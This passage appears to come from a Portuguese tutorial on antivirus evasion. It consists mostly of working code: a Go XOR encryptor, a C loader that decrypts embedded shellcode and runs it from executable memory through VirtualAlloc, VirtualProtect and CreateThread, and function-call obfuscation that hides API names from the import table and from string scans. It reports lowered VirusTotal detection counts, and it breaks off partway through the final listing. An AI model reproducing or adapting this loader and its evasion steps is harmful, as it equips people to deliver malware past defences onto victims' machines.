28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
        "fmt"
        "io"
        "os"
)

func xorEncryptDecrypt(data []byte, key string) []byte {
        keyLen := len(key)
        keyBytes := []byte(key)
        encrypted := make([]byte, len(data))

        for i := 0; i < len(data); i++ {
                encrypted[i] = data[i] ^ keyBytes[i%keyLen]
        }

        return encrypted
}

func processFile(inputFile, outputFile, key string) error {
        inFile, err := os.Open(inputFile)
        if err != nil {
                return fmt.Errorf("failed to open input file: %w", err)
        }
        defer inFile.Close()

        outFile, err := os.Create(outputFile)
        if err != nil {
                return fmt.Errorf("failed to create output file: %w", err)
        }
        defer outFile.Close()

        buffer := make([]byte, 4096) // Buffer size for reading the file
        for {
                n, err := inFile.Read(buffer)
                if err != nil && err != io.EOF {
                        return fmt.Errorf("failed to read from input file: %w", err)
                }
                if n == 0 {
                        break
                }

                encrypted := xorEncryptDecrypt(buffer[:n], key)

                _, err = outFile.Write(encrypted)
                if err != nil {
                        return fmt.Errorf("failed to write to output file: %w", err)
                }
        }

        return nil
}

func main() {
        if len(os.Args) != 4 {
                fmt.Printf("Usage: %s <input file> <output file> <key>\n", os.Args[0])
                return
        }

        inputFile := os.Args[1]
        outputFile := os.Args[2]
        key := os.Args[3]

        err := processFile(inputFile, outputFile, key)
        if err != nil {
                fmt.Printf("Error: %v\n", err)
        }
}

Ao executarmos e compararmos o shell.bin com o arquivo de saída, podemos ver que temos dois arquivos do mesmo tamanho, porém compostos de bytes totalmente diferentes.

A partir desta saída, podemos criar o shellcode criptografado que será armazenado no programa, mas faremos uma alteração. No programa atual, declaramos a variável unsigned char shellcode[] que é um array, porém inserimos o shellcode como uma única string. Desta vez, criaremos de fato um array de bytes.

Para isso, um novo oneliner pode ser usado:

1
for i in $(cat shellXored.bin | xxd -ps -c 1);do echo -n "0x$i, ";done;echo

Este array substitui a string utilizada anteriormente como shellcode no programa.

Outra coisa a se fazer, é implementar uma função no programa que irá ler este array e para cada valor, aplicar o XOR com a chave para obtermos o shellcode original.

Primeiramente declaramos uma variável com a key (ignorem o fato do nome da variável, isso é um exemplo, utilize nomes não intuitivos).

1
char xor_key[] = "7h3L0s7C4rc0s4";

Em seguida, criamos a função XOR que fará o XOR encryption.

1
2
3
4
5
6
7
8
9
10
11
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int a;
    a = 0;

    for (int i = 0; i < data_len; i++) {
        if (a == key_len - 1) a = 0;

        data[i] = data[i] ^ key[a];
        a++;
    }
}

Por último, invocamos a função antes de copiar o shellcode para o buffer.

1
XOR((char *) shellcode, shellcode_size, xor_key, sizeof(xor_key));

O código completo fica:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] = {0x06, 0xa8, 0x57, 0xed, 0x00, 0x73, 0x37, 0x43, 0xbf, 0x32, 0x6f, 0xbb, 0x33, 0x20, 0xbc, 0x68, 0xb8, 0x4c, 0xbb, 0x2b, 0x27, 0x72, 0xe6, 0x1a, 0x10, 0x43, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x50, 0x16, 0x11, 0x55, 0x1b, 0x46, 0x58, 0x0b, 0x72, 0x24, 0x77, 0x16, 0x43, 0x13, 0xbf, 0x21, 0x5f, 0x31, 0xa9, 0xbf, 0x65, 0x10, 0x32, 0x96, 0xbb, 0x39, 0x17, 0x42, 0xed, 0xfb, 0x2e, 0xcc, 0xf8, 0x66, 0x2b, 0x69, 0xe9, 0x7d, 0xf0, 0x42, 0xfe, 0xca, 0xd2, 0xf9, 0x1e, 0xcc, 0xf8, 0x08, 0xb0, 0x69, 0xec, 0x2a, 0xb3, 0xb2, 0x30, 0xb0, 0x52, 0xd5, 0x17, 0x33, 0x33, 0xd6, 0xdf, 0xeb, 0xf3, 0x4e, 0xbb, 0x4f, 0xb5, 0x42, 0xeb, 0xfb, 0x9e, 0x01, 0xba, 0x65, 0x5f, 0x09, 0x41, 0x35, 0x71, 0x1b, 0x7b, 0x2a, 0x56, 0x00, 0x0b, 0x7c, 0x1c, 0x55, 0x53, 0x3c, 0x60, 0xb3, 0xe5, 0x1b, 0x04, 0x71, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x47, 0x00, 0x05, 0x1c, 0x60, 0x8d, 0xb3, 0xb9, 0xb5, 0x5c, 0x42, 0x18, 0x7d, 0x02, 0x56, 0xf2, 0x5b, 0x67, 0x36, 0x3c, 0x2d, 0x58, 0x07, 0x55, 0x45, 0x1c, 0x5b, 0x1b, 0x63, 0x32, 0x64, 0x17, 0x62, 0x8d, 0xb6, 0x01, 0xa1, 0x52, 0x8d, 0xf8, 0x32, 0x65, 0xe4, 0x27, 0x65, 0xbc, 0xe4, 0x1a, 0x17, 0x71, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x5b, 0x11, 0x08, 0x55, 0x1b, 0x63, 0x64, 0x29, 0x60, 0x18, 0x66, 0x8c, 0xe2, 0x72, 0xe6, 0x20, 0x31, 0x62, 0xc1, 0x32, 0x65, 0xe8, 0xd9, 0x49, 0x62, 0x31, 0x65, 0xbc, 0xe4, 0x22, 0x3c, 0x58, 0x16, 0x57, 0x43, 0x26, 0x55, 0xcf, 0x5c, 0x57, 0x34, 0x0d, 0x5c, 0x11, 0x0c, 0x5e, 0x1d, 0x60, 0x61, 0x97, 0xe6, 0xf6, 0xf1, 0xda, 0x7f, 0xc2, 0xb5, 0x98, 0x62, 0x31, 0x72, 0x35, 0x65, 0x0e, 0x5b, 0x6c, 0xcb, 0x42, 0xe5, 0xf1, 0x36, 0x14, 0x31, 0xb9, 0x91, 0x5e, 0x27, 0x3a, 0x64, 0xb3, 0xe0, 0x1b, 0x44, 0x02, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x5f, 0x10, 0x52, 0x30, 0x5c, 0x06, 0x06, 0x60, 0x01, 0x5c, 0x74, 0x1a, 0x56, 0x2d, 0x64, 0x20, 0xc8, 0x96, 0xbd, 0xac, 0x0b, 0x53, 0x1e, 0x50, 0x79, 0x0e, 0xb0, 0x20, 0x14, 0x70, 0x79, 0xca, 0xd7, 0x25, 0x34, 0x67, 0x42, 0xcb, 0x5d, 0x7a, 0x6a, 0x1b, 0xd2, 0x8e, 0x51, 0x84, 0x70, 0x56, 0x5f, 0x31, 0x72, 0xf2, 0x73, 0x4c, 0x23, 0x08, 0xbd, 0x3f, 0x13, 0x53, 0x60, 0x23, 0x34, 0x67, 0x24, 0x73, 0x60, 0x27, 0x64, 0x1b, 0x63, 0x24, 0xc8, 0x93, 0x5c, 0x17, 0x10, 0x43, 0x3d, 0x52, 0xb4, 0x04, 0x17, 0x4f, 0x7e, 0x1b, 0x67, 0x31, 0x5b, 0x11, 0x0b, 0x75, 0x0b, 0x5d, 0x43, 0x3c, 0x65, 0xb3, 0xe5, 0x42, 0xfe, 0x12, 0xcb, 0xa2};

unsigned int shellcode_size = sizeof(shellcode);

char xor_key[] = "7h3L0s7C4rc0s4";

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int a;
    a = 0;

    for (int i = 0; i < data_len; i++) {
        if (a == key_len - 1) a = 0;

        data[i] = data[i] ^ key[a];
        a++;
    }
}

int main(void) {
    DWORD oldProtect = 0;
    BOOL rx;
    HANDLE thread;

    void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    XOR((char *) shellcode, shellcode_size, xor_key, sizeof(xor_key));

    RtlMoveMemory(exec_mem, shellcode, shellcode_size);

    rx = VirtualProtect(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

    if ( rx != 0 ) {
            thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(thread, -1);
    }

    return 0;
}

Ao submeter no VirusTotal novamente, abaixamos a identificação de ameaça de 19 para 17 antivírus somente com as implementações feitas.

Function Call Obfuscation

Se formos na aba details da análise feita pelo VirusTotal na sessão de Imports, podemos expandir a kernel32.dll e verificar as funções importadas pelo programa.

Todo módulo PE, como arquivos .exe e .dll, depende geralmente de funções externas. Dessa forma, quando um desses módulos está em execução, ele invoca funções implementadas em DLLs externas, mapeadas na memória do processo para que essas funções possam ser acessadas pelo código do processo.

Os AVs analisam os tipos de DLLs externas e as funções que os malwares utilizam. Isso pode ser um bom indicativo para determinar se um binário é malicioso. Portanto, os mecanismos de antivírus analisam um arquivo PE no disco verificando os endereços de importação.

É claro que esse método não é infalível e pode gerar alguns falsos positivos, mas é conhecido por funcionar em alguns casos e é amplamente utilizado pelos motores de antivírus.

É aqui que entra a ofuscação de chamadas de função. A ofuscação de chamadas de função é um método para esconder suas DLLs e funções externas que serão chamadas durante a execução. Para fazer isso, podemos usar funções padrão da API do Windows chamadas GetModuleHandle e GetProcAddress. A primeira retorna um identificador para uma DLL especificada e a segunda permite obter o endereço de memória da função que você precisa, a qual é exportada dessa DLL.

Exemplificando o processo, podemos utilizar a própria função VirtualAlloc() utilizada no programa, esta função existe dentro da kernel32.dll. Nesse caso, podemos utilizar a função GetModuleHandle para carregar o handle da kernel32.dll e usá-la como argumento na GetProcAddress chamando a VirtualAlloc().

1
pVA = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

Neste caso, acontecerá algo diferente: ao compilar o código, o compilador não incluirá VirtualAlloc na tabela de endereços de importação. Dessa forma, o motor de antivírus não conseguirá detectar isso durante a análise estática.

E mais importante: se precisássemos importar uma outra DLL externa, como malware.dll, utilizando a mesma técnica, nem mesmo esta DLL estaria na tabela de endereços de importação.

Se analisarmos o programa, podemos ver que todas as funções que utilizamos no código estão presentes na tabela de endereços de importação.

1
$ objdump -x -D test.exe | less

Tomando como exemplo a função VirtualAlloc, podemos alterar sua chamada para que não apareça na tabela de importação. Primeiro, ao consultar o MSDN, vemos que sua sintaxe é:

1
2
3
4
5
6
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

Então podemos criar a variável global pVA do tipo VirtualAlloc que será um ponteiro para a VirtualAlloc original.

1
LPVOID (WINAPI * pVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD  flProtect);

Agora podemos capturar o endereço da VirtualAlloc original com a função GetProcAddress e mudar a chamada para pVA.

1
2
3
pVA = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

void *exec_mem = pVA(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

O código completo até o momento é:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] = {0x06, 0xa8, 0x57, 0xed, 0x00, 0x73, 0x37, 0x43, 0xbf, 0x32, 0x6f, 0xbb, 0x33, 0x20, 0xbc, 0x68, 0xb8, 0x4c, 0xbb, 0x2b, 0x27, 0x72, 0xe6, 0x1a, 0x10, 0x43, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x50, 0x16, 0x11, 0x55, 0x1b, 0x46, 0x58, 0x0b, 0x72, 0x24, 0x77, 0x16, 0x43, 0x13, 0xbf, 0x21, 0x5f, 0x31, 0xa9, 0xbf, 0x65, 0x10, 0x32, 0x96, 0xbb, 0x39, 0x17, 0x42, 0xed, 0xfb, 0x2e, 0xcc, 0xf8, 0x66, 0x2b, 0x69, 0xe9, 0x7d, 0xf0, 0x42, 0xfe, 0xca, 0xd2, 0xf9, 0x1e, 0xcc, 0xf8, 0x08, 0xb0, 0x69, 0xec, 0x2a, 0xb3, 0xb2, 0x30, 0xb0, 0x52, 0xd5, 0x17, 0x33, 0x33, 0xd6, 0xdf, 0xeb, 0xf3, 0x4e, 0xbb, 0x4f, 0xb5, 0x42, 0xeb, 0xfb, 0x9e, 0x01, 0xba, 0x65, 0x5f, 0x09, 0x41, 0x35, 0x71, 0x1b, 0x7b, 0x2a, 0x56, 0x00, 0x0b, 0x7c, 0x1c, 0x55, 0x53, 0x3c, 0x60, 0xb3, 0xe5, 0x1b, 0x04, 0x71, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x47, 0x00, 0x05, 0x1c, 0x60, 0x8d, 0xb3, 0xb9, 0xb5, 0x5c, 0x42, 0x18, 0x7d, 0x02, 0x56, 0xf2, 0x5b, 0x67, 0x36, 0x3c, 0x2d, 0x58, 0x07, 0x55, 0x45, 0x1c, 0x5b, 0x1b, 0x63, 0x32, 0x64, 0x17, 0x62, 0x8d, 0xb6, 0x01, 0xa1, 0x52, 0x8d, 0xf8, 0x32, 0x65, 0xe4, 0x27, 0x65, 0xbc, 0xe4, 0x1a, 0x17, 0x71, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x5b, 0x11, 0x08, 0x55, 0x1b, 0x63, 0x64, 0x29, 0x60, 0x18, 0x66, 0x8c, 0xe2, 0x72, 0xe6, 0x20, 0x31, 0x62, 0xc1, 0x32, 0x65, 0xe8, 0xd9, 0x49, 0x62, 0x31, 0x65, 0xbc, 0xe4, 0x22, 0x3c, 0x58, 0x16, 0x57, 0x43, 0x26, 0x55, 0xcf, 0x5c, 0x57, 0x34, 0x0d, 0x5c, 0x11, 0x0c, 0x5e, 0x1d, 0x60, 0x61, 0x97, 0xe6, 0xf6, 0xf1, 0xda, 0x7f, 0xc2, 0xb5, 0x98, 0x62, 0x31, 0x72, 0x35, 0x65, 0x0e, 0x5b, 0x6c, 0xcb, 0x42, 0xe5, 0xf1, 0x36, 0x14, 0x31, 0xb9, 0x91, 0x5e, 0x27, 0x3a, 0x64, 0xb3, 0xe0, 0x1b, 0x44, 0x02, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x5f, 0x10, 0x52, 0x30, 0x5c, 0x06, 0x06, 0x60, 0x01, 0x5c, 0x74, 0x1a, 0x56, 0x2d, 0x64, 0x20, 0xc8, 0x96, 0xbd, 0xac, 0x0b, 0x53, 0x1e, 0x50, 0x79, 0x0e, 0xb0, 0x20, 0x14, 0x70, 0x79, 0xca, 0xd7, 0x25, 0x34, 0x67, 0x42, 0xcb, 0x5d, 0x7a, 0x6a, 0x1b, 0xd2, 0x8e, 0x51, 0x84, 0x70, 0x56, 0x5f, 0x31, 0x72, 0xf2, 0x73, 0x4c, 0x23, 0x08, 0xbd, 0x3f, 0x13, 0x53, 0x60, 0x23, 0x34, 0x67, 0x24, 0x73, 0x60, 0x27, 0x64, 0x1b, 0x63, 0x24, 0xc8, 0x93, 0x5c, 0x17, 0x10, 0x43, 0x3d, 0x52, 0xb4, 0x04, 0x17, 0x4f, 0x7e, 0x1b, 0x67, 0x31, 0x5b, 0x11, 0x0b, 0x75, 0x0b, 0x5d, 0x43, 0x3c, 0x65, 0xb3, 0xe5, 0x42, 0xfe, 0x12, 0xcb, 0xa2};

unsigned int shellcode_size = sizeof(shellcode);

char xor_key[] = "7h3L0s7C4rc0s4";

LPVOID (WINAPI * pVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD  flProtect);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int a;
    a = 0;

    for (int i = 0; i < data_len; i++) {
        if (a == key_len - 1) a = 0;

        data[i] = data[i] ^ key[a];
        a++;
    }
}

int main(void) {
    DWORD oldProtect = 0;
    BOOL rx;
    HANDLE thread;

    pVA = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

    void *exec_mem = pVA(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    XOR((char *) shellcode, shellcode_size, xor_key, sizeof(xor_key));

    RtlMoveMemory(exec_mem, shellcode, shellcode_size);

    rx = VirtualProtect(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

    if ( rx != 0 ) {
            thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(thread, -1);
    }

    return 0;
}

Podemos compilar:

1
$ i686-w64-mingw32-gcc  shell.c -o test.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc >/dev/null 2>&1

E checar a tabela de importação de endereços novamente:

1
$ objdump -x -D test.exe | less

Desta vez, a função VirtualAlloc não está mais presente na import address table.

Porém, ainda existe um problema, quando tentamos extrair todas as strings do PE, ainda é possível identificar a VirtualAlloc:

Isso acontece, pois o nome da função está escrita em texto claro na função GetProcAddress. Para contornar esta situação, podemos reutilizar do XOR encrypt que utilizamos no shellcode.

Portanto, criaremos duas variáveis:

  • unsigned char cVA[] = {}; - que receberá um array de bytes representando a string “VirtualAlloc” depois do XOR encrypt;
  • unsigned int cVALen = sizeof(cVA); - que conterá o tamanho da array.

Para aplicar o XOR encrypt na string, faremos um novo programa em Go, que receberá a string com a chave e salvará o resultado em um arquivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package main

import (
        "fmt"
        "os"
)

func xorEncryptDecrypt(data []byte, key string) []byte {
        keyLen := len(key)
        keyBytes := []byte(key)
        encrypted := make([]byte, len(data))

        for i := 0; i < len(data); i++ {
                encrypted[i] = data[i] ^ keyBytes[i%keyLen]
        }

        return encrypted
}

func processString(inputString, outputFile, key string) error {
        data := append([]byte(inputString), 0)
        encrypted := xorEncryptDecrypt(data, key)

        outFile, err := os.Create(outputFile)
        if err != nil {
                return fmt.Errorf("failed to create output file: %w", err)
        }
        defer outFile.Close()

        _, err = outFile.Write(encrypted)
        if err != nil {
                return fmt.Errorf("failed to write to output file: %w", err)
        }

        return nil
}

func main() {
        if len(os.Args) != 4 {
                fmt.Printf("Usage: %s <input string> <output file> <key>\n", os.Args[0])
                return
        }

        inputString := os.Args[1]
        outputFile := os.Args[2]
        key := os.Args[3]

        err := processString(inputString, outputFile, key)
        if err != nil {
                fmt.Printf("Error: %v\n", err)
        }
}

A declaração das variáveis fica da seguinte forma:

1
2
3
// XOR encrypted da VirtualAlloc
unsigned char cVA[] = {0x61, 0x01, 0x41, 0x38, 0x45, 0x12, 0x5b, 0x02, 0x58, 0x1e, 0x0c, 0x53};
unsigned int cVALen = sizeof(cVA);

Na função main chamamos a função XOR para aplicar o XOR encryption em tempo de execução e a referenciamos na função GetProcAddress ao invés de chamar por uma string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] = {0x06, 0xa8, 0x57, 0xed, 0x00, 0x73, 0x37, 0x43, 0xbf, 0x32, 0x6f, 0xbb, 0x33, 0x20, 0xbc, 0x68, 0xb8, 0x4c, 0xbb, 0x2b, 0x27, 0x72, 0xe6, 0x1a, 0x10, 0x43, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x50, 0x16, 0x11, 0x55, 0x1b, 0x46, 0x58, 0x0b, 0x72, 0x24, 0x77, 0x16, 0x43, 0x13, 0xbf, 0x21, 0x5f, 0x31, 0xa9, 0xbf, 0x65, 0x10, 0x32, 0x96, 0xbb, 0x39, 0x17, 0x42, 0xed, 0xfb, 0x2e, 0xcc, 0xf8, 0x66, 0x2b, 0x69, 0xe9, 0x7d, 0xf0, 0x42, 0xfe, 0xca, 0xd2, 0xf9, 0x1e, 0xcc, 0xf8, 0x08, 0xb0, 0x69, 0xec, 0x2a, 0xb3, 0xb2, 0x30, 0xb0, 0x52, 0xd5, 0x17, 0x33, 0x33, 0xd6, 0xdf, 0xeb, 0xf3, 0x4e, 0xbb, 0x4f, 0xb5, 0x42, 0xeb, 0xfb, 0x9e, 0x01, 0xba, 0x65, 0x5f, 0x09, 0x41, 0x35, 0x71, 0x1b, 0x7b, 0x2a, 0x56, 0x00, 0x0b, 0x7c, 0x1c, 0x55, 0x53, 0x3c, 0x60, 0xb3, 0xe5, 0x1b, 0x04, 0x71, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x47, 0x00, 0x05, 0x1c, 0x60, 0x8d, 0xb3, 0xb9, 0xb5, 0x5c, 0x42, 0x18, 0x7d, 0x02, 0x56, 0xf2, 0x5b, 0x67, 0x36, 0x3c, 0x2d, 0x58, 0x07, 0x55, 0x45, 0x1c, 0x5b, 0x1b, 0x63, 0x32, 0x64, 0x17, 0x62, 0x8d, 0xb6, 0x01, 0xa1, 0x52, 0x8d, 0xf8, 0x32, 0x65, 0xe4, 0x27, 0x65, 0xbc, 0xe4, 0x1a, 0x17, 0x71, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x5b, 0x11, 0x08, 0x55, 0x1b, 0x63, 0x64, 0x29, 0x60, 0x18, 0x66, 0x8c, 0xe2, 0x72, 0xe6, 0x20, 0x31, 0x62, 0xc1, 0x32, 0x65, 0xe8, 0xd9, 0x49, 0x62, 0x31, 0x65, 0xbc, 0xe4, 0x22, 0x3c, 0x58, 0x16, 0x57, 0x43, 0x26, 0x55, 0xcf, 0x5c, 0x57, 0x34, 0x0d, 0x5c, 0x11, 0x0c, 0x5e, 0x1d, 0x60, 0x61, 0x97, 0xe6, 0xf6, 0xf1, 0xda, 0x7f, 0xc2, 0xb5, 0x98, 0x62, 0x31, 0x72, 0x35, 0x65, 0x0e, 0x5b, 0x6c, 0xcb, 0x42, 0xe5, 0xf1, 0x36, 0x14, 0x31, 0xb9, 0x91, 0x5e, 0x27, 0x3a, 0x64, 0xb3, 0xe0, 0x1b, 0x44, 0x02, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x5f, 0x10, 0x52, 0x30, 0x5c, 0x06, 0x06, 0x60, 0x01, 0x5c, 0x74, 0x1a, 0x56, 0x2d, 0x64, 0x20, 0xc8, 0x96, 0xbd, 0xac, 0x0b, 0x53, 0x1e, 0x50, 0x79, 0x0e, 0xb0, 0x20, 0x14, 0x70, 0x79, 0xca, 0xd7, 0x25, 0x34, 0x67, 0x42, 0xcb, 0x5d, 0x7a, 0x6a, 0x1b, 0xd2, 0x8e, 0x51, 0x84, 0x70, 0x56, 0x5f, 0x31, 0x72, 0xf2, 0x73, 0x4c, 0x23, 0x08, 0xbd, 0x3f, 0x13, 0x53, 0x60, 0x23, 0x34, 0x67, 0x24, 0x73, 0x60, 0x27, 0x64, 0x1b, 0x63, 0x24, 0xc8, 0x93, 0x5c, 0x17, 0x10, 0x43, 0x3d, 0x52, 0xb4, 0x04, 0x17, 0x4f, 0x7e, 0x1b, 0x67, 0x31, 0x5b, 0x11, 0x0b, 0x75, 0x0b, 0x5d, 0x43, 0x3c, 0x65, 0xb3, 0xe5, 0x42, 0xfe, 0x12, 0xcb, 0xa2};

unsigned int shellcode_size = sizeof(shellcode);

char xor_key[] = "7h3L0s7C4rc0s4";

LPVOID (WINAPI * pVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD  flProtect);

// XOR encrypted da VirtualAlloc
unsigned char cVA[] = {0x61, 0x01, 0x41, 0x38, 0x45, 0x12, 0x5b, 0x02, 0x58, 0x1e, 0x0c, 0x53, 0x73};
unsigned int cVALen = sizeof(cVA);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int a;
    a = 0;

    for (int i = 0; i < data_len; i++) {
        if (a == key_len - 1) a = 0;

        data[i] = data[i] ^ key[a];
        a++;
    }
}

int main(void) {
    DWORD oldProtect = 0;
    BOOL rx;
    HANDLE thread;

    // deXOR da VirtualAlloc
    XOR((char *) cVA, cVALen, xor_key, sizeof(xor_key));
    // deXOR do shellcode
    XOR((char *) shellcode, shellcode_size, xor_key, sizeof(xor_key));

    pVA = GetProcAddress(GetModuleHandle("kernel32.dll"), cVA);

    void *exec_mem = pVA(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);


    RtlMoveMemory(exec_mem, shellcode, shellcode_size);

    rx = VirtualProtect(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

    if ( rx != 0 ) {
            thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(thread, -1);
    }

    return 0;
}

Com isso, a string VirtualAlloc não está mais presente no programa.

Seguindo os mesmos passos, faremos nas funções VirtualProtect, CreateThread, WaitForSingleObject e RtlMoveMemory. O código final fica da seguinte forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] = {0x06, 0xa8, 0x57, 0xed, 0x00, 0x73, 0x37, 0x43, 0xbf, 0x32, 0x6f, 0xbb, 0x33, 0x20, 0xbc, 0x68, 0xb8, 0x4c, 0xbb, 0x2b, 0x27, 0x72, 0xe6, 0x1a, 0x10, 0x43, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x50, 0x16, 0x11, 0x55, 0x1b, 0x46, 0x58, 0x0b, 0x72, 0x24, 0x77, 0x16, 0x43, 0x13, 0xbf, 0x21, 0x5f, 0x31, 0xa9, 0xbf, 0x65, 0x10, 0x32, 0x96, 0xbb, 0x39, 0x17, 0x42, 0xed, 0xfb, 0x2e, 0xcc, 0xf8, 0x66, 0x2b, 0x69, 0xe9, 0x7d, 0xf0, 0x42, 0xfe, 0xca, 0xd2, 0xf9, 0x1e, 0xcc, 0xf8, 0x08, 0xb0, 0x69, 0xec, 0x2a, 0xb3, 0xb2, 0x30, 0xb0, 0x52, 0xd5, 0x17, 0x33, 0x33, 0xd6, 0xdf, 0xeb, 0xf3, 0x4e, 0xbb, 0x4f, 0xb5, 0x42, 0xeb, 0xfb, 0x9e, 0x01, 0xba, 0x65, 0x5f, 0x09, 0x41, 0x35, 0x71, 0x1b, 0x7b, 0x2a, 0x56, 0x00, 0x0b, 0x7c, 0x1c, 0x55, 0x53, 0x3c, 0x60, 0xb3, 0xe5, 0x1b, 0x04, 0x71, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x47, 0x00, 0x05, 0x1c, 0x60, 0x8d, 0xb3, 0xb9, 0xb5, 0x5c, 0x42, 0x18, 0x7d, 0x02, 0x56, 0xf2, 0x5b, 0x67, 0x36, 0x3c, 0x2d, 0x58, 0x07, 0x55, 0x45, 0x1c, 0x5b, 0x1b, 0x63, 0x32, 0x64, 0x17, 0x62, 0x8d, 0xb6, 0x01, 0xa1, 0x52, 0x8d, 0xf8, 0x32, 0x65, 0xe4, 0x27, 0x65, 0xbc, 0xe4, 0x1a, 0x17, 0x71, 0x3d, 0x7a, 0x51, 0xe9, 0x5f, 0x68, 0x32, 0x3d, 0x79, 0x2b, 0x5b, 0x11, 0x08, 0x55, 0x1b, 0x63, 0x64, 0x29, 0x60, 0x18, 0x66, 0x8c, 0xe2, 0x72, 0xe6, 0x20, 0x31, 0x62, 0xc1, 0x32, 0x65, 0xe8, 0xd9, 0x49, 0x62, 0x31, 0x65, 0xbc, 0xe4, 0x22, 0x3c, 0x58, 0x16, 0x57, 0x43, 0x26, 0x55, 0xcf, 0x5c, 0x57, 0x34, 0x0d, 0x5c, 0x11, 0x0c, 0x5e, 0x1d, 0x60, 0x61, 0x97, 0xe6, 0xf6, 0xf1, 0xda, 0x7f, 0xc2, 0xb5, 0x98, 0x62, 0x31, 0x72, 0x35, 0x65, 0x0e, 0x5b, 0x6c, 0xcb, 0x42, 0xe5, 0xf1, 0x36, 0x14, 0x31, 0xb9, 0x91, 0x5e, 0x27, 0x3a, 0x64, 0xb3, 0xe0, 0x1b, 0x44, 0x02, 0x7a, 0x3c, 0x05, 0xb1, 0x1f, 0x10, 0x35, 0x26, 0x7d, 0x24, 0x5f, 0x10, 0x52, 0x30, 0x5c, 0x06, 0x06, 0x60, 0x01, 0x5c, 0x74, 0x1a, 0x56, 0x2d, 0x64, 0x20, 0xc8, 0x96, 0xbd, 0xac, 0x0b, 0x53, 0x1e, 0x50, 0x79, 0x0e, 0xb0, 0x20, 0x14, 0x70, 0x79, 0xca, 0xd7, 0x25, 0x34, 0x67, 0x42, 0xcb, 0x5d, 0x7a, 0x6a, 0x1b, 0xd2, 0x8e, 0x51, 0x84, 0x70, 0x56, 